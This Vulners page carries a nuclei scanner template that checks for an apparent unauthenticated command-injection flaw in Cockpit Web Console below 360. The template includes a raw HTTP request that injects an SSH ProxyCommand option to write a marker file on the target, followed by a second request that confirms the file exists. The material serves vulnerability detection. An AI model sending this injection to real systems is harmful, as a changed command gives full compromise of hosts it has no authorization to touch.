Lucene search
K

Cockpit Web Console < 360 - Remote Code Execution

🗓️ 05 Jul 2026 03:01:21Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 30 Views

Remote code execution in Cockpit Web Console below 360 via unvalidated hostname at login, without credentials.

Related
Refs
Code
id: CVE-2026-4631

info:
  name: Cockpit Web Console < 360 - Remote Code Execution
  author: DhiyaneshDk
  severity: critical
  description: |
    Cockpit's remote login feature passes user-supplied hostnames and usernames from the web interface to the SSH client without validation or sanitization. An attacker with network access to the Cockpit web service can craft a single HTTP request to the login endpoint that injects malicious SSH options or shell commands, achieving code execution on the Cockpit host without valid credentials. The injection occurs during the authentication flow before any credential verification takes place, meaning no login is required to exploit the vulnerability.
  impact: |
    Attackers can execute arbitrary code on the Cockpit host without valid credentials, leading to full system compromise.
  remediation: Update to the latest version with input validation and sanitization for SSH parameters.
  reference:
    - https://github.com/cockpit-project/cockpit/security/advisories/GHSA-m4gv-x78h-3427
    - https://github.com/cockpit-project/cockpit/commit/9d0695647
    - https://github.com/allisonkarlitskaya/ferny/commit/44ec511c99
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-4631
    epss-score: 0.142
    epss-percentile: 0.96144
    cwe-id: CWE-78
    cpe: cpe:2.3:a:cockpit-project:cockpit:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: cockpit-project
    product: cockpit
    shodan-query: title:"Cockpit"
    fofa-query: title="Cockpit"
  tags: cve,cve2026,cockpit,rce,unauthenticated

flow: http(1) && http(2)

variables:
  filename: "{{to_lower(rand_text_alpha(5))}}"

http:
  - raw:
      - |
        GET /cockpit+=-oProxyCommand=echo%20CVE-2026-4631%20%3E%20%2Fusr%2Fshare%2Fcockpit%2Fstatic%2F{{filename}}.txt%20%23/login HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic Og==

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 401'
          - 'contains(body, "authentication-failed")'
        condition: and
        internal: true

  - raw:
      - |
        GET /cockpit/static/{{filename}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "CVE-2026-4631")'
        condition: and
# digest: 4b0a00483046022100ca5d2fa8dadb6a75796f7ac6596742899f1523fddbe1857998154ff71b31fd460221009afb2b37191fee7b11b6366472308fe71ed77dee992a4031b646dcb06aaef5dd:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

15 Apr 2026 09:57Current
7.2High risk
Vulners AI Score7.2
CVSS 3.19.8
EPSS0.142
SSVC
30